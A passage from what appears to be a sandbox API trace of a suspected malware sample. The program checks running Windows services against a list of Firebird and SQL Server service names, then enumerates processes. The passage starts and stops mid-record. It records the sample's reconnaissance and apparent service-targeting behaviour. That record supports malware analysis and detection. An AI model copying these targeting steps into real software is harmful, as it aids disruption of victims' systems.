(lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0106.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0106.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0106.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0106.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0106.074] lstrlenW (lpString="SENS") returned 4 [0106.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0106.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0106.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0106.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0106.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0106.074] lstrlenW (lpString="ShellHWDetection") returned 16 [0106.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0106.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0106.075] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0106.075] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0106.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0106.075] lstrlenW (lpString="Spooler") returned 7 [0106.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0106.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0106.075] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0106.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0106.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0106.075] lstrlenW (lpString="sppsvc") returned 6 [0106.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0106.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0106.075] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0106.075] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0106.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0106.075] lstrlenW (lpString="SSDPSRV") returned 7 [0106.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0106.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0106.075] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0106.075] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0106.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0106.075] lstrlenW (lpString="StateRepository") returned 15 [0106.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0106.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0106.076] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0106.076] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0106.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0106.076] lstrlenW (lpString="SysMain") returned 7 [0106.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0106.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0106.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0106.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0106.076] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x36890e8 | out: hHeap=0x440000) returned 1 [0106.076] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0106.350] Process32FirstW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.351] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0106.351] lstrlenW (lpString="System") returned 6 [0106.351] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0106.352] lstrlenW (lpString="smss.exe") returned 8 [0106.352] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.353] lstrlenW (lpString="csrss.exe") returned 9 [0106.353] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0106.353] lstrlenW (lpString="wininit.exe") returned 11 [0106.354] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.354] lstrlenW (lpString="csrss.exe") returned 9 [0106.354] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0106.355] lstrlenW (lpString="winlogon.exe") returned 12 [0106.355] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0106.356] lstrlenW (lpString="services.exe") returned 12 [0106.356] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0106.356] lstrlenW (lpString="lsass.exe") returned 9 [0106.356] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.357] lstrlenW (lpString="svchost.exe") returned 11 [0106.357] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0106.358] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0106.358] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0106.358] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0106.358] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.359] lstrlenW (lpString="svchost.exe") returned 11 [0106.359] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0106.360] lstrlenW (lpString="dwm.exe") returned 7 [0106.360] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.360] lstrlenW (lpString="svchost.exe") returned 11 [0106.360] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.361] lstrlenW (lpString="svchost.exe") returned 11 [0106.361] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.362] lstrlenW (lpString="svchost.exe") returned 11 [0106.362] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.362] lstrlenW (lpString="svchost.exe") returned 11 [0106.362] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.363] lstrlenW (lpString="svchost.exe") returned 11 [0106.363] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.364] lstrlenW (lpString="svchost.exe") returned 11 [0106.364] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.419] lstrlenW (lpString="svchost.exe") returned 11 [0106.419] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.419] lstrlenW (lpString="svchost.exe") returned 11 [0106.419] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.420] lstrlenW (lpString="svchost.exe") returned 11 [0106.420] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0106.421] lstrlenW (lpString="spoolsv.exe") returned 11 [0106.421] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.421] lstrlenW (lpString="svchost.exe") returned 11 [0106.421] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.422] lstrlenW (lpString="svchost.exe") returned 11 [0106.422] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0106.423] lstrlenW (lpString="audiodg.exe") returned 11 [0106.423] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0106.423] lstrlenW (lpString="sihost.exe") returned 10 [0106.423] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.424] lstrlenW (lpString="svchost.exe") returned 11 [0106.424] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.425] lstrlenW (lpString="taskhostw.exe") returned 13 [0106.425] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0106.425] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0106.425] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0106.426] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0106.426] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0106.427] lstrlenW (lpString="explorer.exe") returned 12 [0106.427] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0106.428] lstrlenW (lpString="Memory Compression") returned 18 [0106.428] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0106.428] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0106.429] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0106.429] lstrlenW (lpString="SearchUI.exe") returned 12 [0106.429] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0106.430] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0106.430] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.430] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0106.430] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.431] lstrlenW (lpString="taskhostw.exe") returned 13 [0106.431] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0106.432] lstrlenW (lpString="UsoClient.exe") returned 13 [0106.432] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0106.432] lstrlenW (lpString="msoia.exe") returned 9 [0106.432] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0106.433] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0106.433] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0106.433] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0106.434] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0106.434] lstrlenW (lpString="msoia.exe") returned 9 [0106.434] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0106.435] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0106.435] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0106.436] lstrlenW (lpString="entering.exe") returned 12 [0106.436] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0106.436] lstrlenW (lpString="measurement nut d.exe") returned 21 [0106.436] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0106.437] lstrlenW (lpString="ai element.exe") returned 14 [0106.437] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0106.438] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0106.438] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0106.438] lstrlenW (lpString="clicking.exe") returned 12 [0106.438] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0106.439] lstrlenW (lpString="pack.exe") returned 8 [0106.439] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0106.440] lstrlenW (lpString="try-gtk.exe") returned 11 [0106.440] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0106.440] lstrlenW (lpString="counseling tmp.exe") returned 18 [0106.440] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0106.441] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0106.441] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0106.442] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0106.442] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0106.751] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0106.751] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0106.752] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0106.752] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0106.753] lstrlenW (lpString="jerry pure.exe") returned 14 [0106.753] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0106.754] lstrlenW (lpString="powerseller.exe") returned 15 [0106.754] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0106.757] lstrlenW (lpString="non firewall.exe") returned 16 [0106.757] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0106.758] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0106.761] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: 